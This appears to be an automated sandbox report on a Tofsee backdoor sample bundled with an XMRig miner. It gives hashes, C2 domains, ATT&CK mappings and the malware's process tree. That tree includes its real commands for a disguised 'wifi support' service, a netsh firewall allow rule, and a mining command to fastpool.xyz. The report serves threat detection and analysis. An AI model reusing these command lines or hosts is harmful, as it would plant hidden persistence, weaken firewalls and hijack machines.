Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    10-05-2023 17:59

General

  • Target

    file.exe

  • Size

    315KB

  • MD5

    1e93be0d225ce928393039c9771321fb

  • SHA1

    27ffe470bee42d5ce14f3914bc710f68fbd74247

  • SHA256

    e54e9f7fe7725afa85dfe0d0e04cf873d01084989205d93b4b4e1e1de7d935f3

  • SHA512

    3d51ef74913c2266f88a2b734ecb058caa390e3f72fb7aa47e7c5ea3565ef832394a0854c3aa84208143fb005d3d506a46465749b56d80aecee9755c5f8d378c

  • SSDEEP

    3072:TNXD1CpI7TkxlIlY0I0n+sDiV6YtnEduisT58ThH8x/06j0eO/OfgaH9xWm+d/HO:hEpjXQYhIs6YtnEduisN8F81069lH9A

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1132
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ydrrpmis\
      2⤵
        PID:1200
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ktzkixp.exe" C:\Windows\SysWOW64\ydrrpmis\
        2⤵
          PID:1984
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ydrrpmis binPath= "C:\Windows\SysWOW64\ydrrpmis\ktzkixp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:612
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ydrrpmis "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1428
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ydrrpmis
          2⤵
          • Launches sc.exe
          PID:516
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1176
      • C:\Windows\SysWOW64\ydrrpmis\ktzkixp.exe
        C:\Windows\SysWOW64\ydrrpmis\ktzkixp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1856
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:988
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:556

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ktzkixp.exe
        Filesize

        14.1MB

        MD5

        97b3aaa81d0bc4dcfee9b761b8f2e4d1

        SHA1

        0f9c386b92bb63d62d1e455fa3f6ec9a2864df71

        SHA256

        1f23a882c54dbcd50b18a5bb7f5845b2d5d12067857a1806795508d851ceb165

        SHA512

        ce7f6703c5a6b51d028d066b6ab0a85793ee590cb9fa55a9099fa3edc0976596a1e7fc5f470881875daf1d35053538eb6fa6a65364b80c7a982545701b6cec3b

      • C:\Windows\SysWOW64\ydrrpmis\ktzkixp.exe
        Filesize

        14.1MB

        MD5

        97b3aaa81d0bc4dcfee9b761b8f2e4d1

        SHA1

        0f9c386b92bb63d62d1e455fa3f6ec9a2864df71

        SHA256

        1f23a882c54dbcd50b18a5bb7f5845b2d5d12067857a1806795508d851ceb165

        SHA512

        ce7f6703c5a6b51d028d066b6ab0a85793ee590cb9fa55a9099fa3edc0976596a1e7fc5f470881875daf1d35053538eb6fa6a65364b80c7a982545701b6cec3b

      • memory/556-111-0x0000000000310000-0x0000000000401000-memory.dmp
        Filesize

        964KB

      • memory/556-121-0x0000000000310000-0x0000000000401000-memory.dmp
        Filesize

        964KB

      • memory/556-124-0x0000000000310000-0x0000000000401000-memory.dmp
        Filesize

        964KB

      • memory/556-123-0x0000000000310000-0x0000000000401000-memory.dmp
        Filesize

        964KB

      • memory/556-122-0x0000000000310000-0x0000000000401000-memory.dmp
        Filesize

        964KB

      • memory/556-119-0x0000000000310000-0x0000000000401000-memory.dmp
        Filesize

        964KB

      • memory/556-120-0x0000000000310000-0x0000000000401000-memory.dmp
        Filesize

        964KB

      • memory/556-112-0x0000000000310000-0x0000000000401000-memory.dmp
        Filesize

        964KB

      • memory/988-88-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-92-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-74-0x00000000019A0000-0x0000000001BAF000-memory.dmp
        Filesize

        2.1MB

      • memory/988-75-0x00000000001C0000-0x00000000001C6000-memory.dmp
        Filesize

        24KB

      • memory/988-78-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-81-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-82-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-83-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-84-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-85-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-86-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-87-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-62-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/988-89-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-90-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-91-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-93-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-71-0x00000000019A0000-0x0000000001BAF000-memory.dmp
        Filesize

        2.1MB

      • memory/988-94-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-95-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-96-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-97-0x00000000001D0000-0x00000000001E0000-memory.dmp
        Filesize

        64KB

      • memory/988-98-0x0000000000260000-0x0000000000265000-memory.dmp
        Filesize

        20KB

      • memory/988-101-0x0000000000260000-0x0000000000265000-memory.dmp
        Filesize

        20KB

      • memory/988-102-0x00000000058A0000-0x0000000005CAB000-memory.dmp
        Filesize

        4.0MB

      • memory/988-105-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/988-106-0x00000000058A0000-0x0000000005CAB000-memory.dmp
        Filesize

        4.0MB

      • memory/988-107-0x0000000000270000-0x0000000000277000-memory.dmp
        Filesize

        28KB

      • memory/988-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/988-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/988-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/988-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/988-60-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1132-66-0x0000000000400000-0x00000000006CC000-memory.dmp
        Filesize

        2.8MB

      • memory/1132-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1856-64-0x0000000000400000-0x00000000006CC000-memory.dmp
        Filesize

        2.8MB